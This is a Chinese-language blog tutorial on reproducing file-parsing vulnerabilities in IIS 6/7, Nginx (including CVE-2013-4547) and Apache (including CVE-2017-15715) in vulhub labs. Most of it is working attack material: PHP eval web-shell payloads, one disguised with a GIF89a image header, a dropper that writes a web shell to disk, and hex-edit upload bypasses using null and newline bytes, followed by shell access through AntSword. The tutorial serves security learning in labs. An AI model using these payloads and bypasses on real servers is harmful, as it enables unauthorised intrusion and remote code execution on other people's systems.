当前位置:   article > 正文

文件解析漏洞复现IIS、Nginx、Apache_iis 漏洞复现

iis 漏洞复现

一.IIS6.x

      在iis6.x版本中存在可以将任意文件当作asp文件解析的漏洞,我们在网站目录下创建一个名为1.asp的文件夹,则在其中的任何文件都会当作asp文件去运行,如下

先在默认网站中右键,点击打开

然后在这里创建一个1.asp的文件夹,再创建一个内容为<%=now()%>(这个函数为查看当前时间)的txt文件,将1.txt放入1.asp中,然后用物理机去访问,即可得到当前时间

ipconfig查看虚拟机IP后去物理机访问192.168.209.133/1.asp/1.txt

二.IIS6.x(2)

      当我们在网站目录下创建一个名为1.asp.;.jpg的文件,内容同样为<%=now()%>,当我们去访问时,也会得到当前时间,这证明该文件虽然后缀名为jpg,但是他也会被当作asp文件运行。

三.IIS7.X

      在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。接下来我们尝试复现,首先打开配置文件php.ini,查找cgi.fix_pathinfo=1,将前面的分号;删除

      然后到网站目录下创建一个名为1.jpg的文件,右键用记事本打开,内容改为<?php phpinfo(); ?>,保存后访问

      在url后面加上/1.jpg/.php,这个jpg文件就会被当作php文件去运行

四.Nginx(1)

      这个解析漏洞是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo同样是默认开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。

      我们来复现以下,这里需要用到vulhub靶场,我们进去后页面是这样的

      在这里我们需要上传一个后缀为jpg的文件,内容如下,其中GIF89a为图片的代码头,这个靶场对于上传的文件会检测他的头部是否为图片文件,所以加个图片头可以混淆视听,而<?php @eval($_POST['cmd']); ?>是一句话木马,正常运行访问后我们就可以去获取shell权限

       保存后我们去上传,就可以直接上传成功

当我们去直接访问这个图片时会显示图片错误,但是当我们在url中加入/.php后再次访问,会发现成功访问

然后我们用蚁剑连接,发现成功连接

五.Nginx(2)CVE-2013-4547

      使用以下命令启动靶机

  1. #启动靶场
  2. cd vulhub-master/nginx/CVE-2013-4547x
  3. //切换到靶机目录
  4. docker-compose build
  5. //创建环境
  6. docker-compose up -d
  7. //打开环境

       进入靶机页面后,我们看到这也可以上传文件,直接上传php文件肯定是不行的,这里我们需要开启抓包然后上传一个jpg文件我这里为(233.jpg),内容为

  1. <?php
  2. @fputs(fopen('2331.php',w),'<?php @eval($_POST['cmd']); ?>');
  3. ?>

访问它后会在当前目录下生成一个名为2331.php的内容为一句话木马的文件

然后在filename位置的文件名称后输入  .php(前面有两个空格),然后到hex中找到这两个空格所对应的十六进制编码(一般在靠近下面的部分),将一个20改为00后回车保存,放包

然后我们就可以发现,上传成功了

接下来就要进行访问了,访问与上传一样,也需要进行抓包,在抓到的包中将两个%20删除改为两个空格,然后到hex中将一个20改为00后放包

成功访问后我们尝试访问名为2331.php的文件发现访问成功,然后就可以去用蚁剑连接

六.Apache(1)

漏洞复现

环境搭建命令如下

  1. cd /vulhub/httpd/apache_parsing_vulnerability
  2. docker-compose up -d
  3. docker ps -a

      打开并访问靶机后,我们上传一个名为1.php.jpg的文件,内容为

  1. <?php
  2. @eval($_POST['cmd']);
  3. ?>

可以直接上传成功,我们尝试访问后也成功访问

然后尝试用蚁剑连接,发现连接成功

七.Apache(2)CVE-2017-15715

      这一关进入靶场后发现可以给上传的文件改变名称,我们直接上传一个后缀为php的文件,内容为一句话木马,随便起一个名字(这里为2332.php)

  1. <?php
  2. @eval($_POST['cmd']);
  3. ?>

然后抓包进行提交,在2332.php文件后加一个空格,打开hex界面,将添加的这个空格所属的20改为0a后放行

放行后没有回显信息告诉我们是否上传成功,所以我们直接去尝试访问,发现访问成功,用蚁剑连接也成功连接

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/weixin_40725706/article/detail/1003639
推荐阅读
相关标签
  

闽ICP备14008679号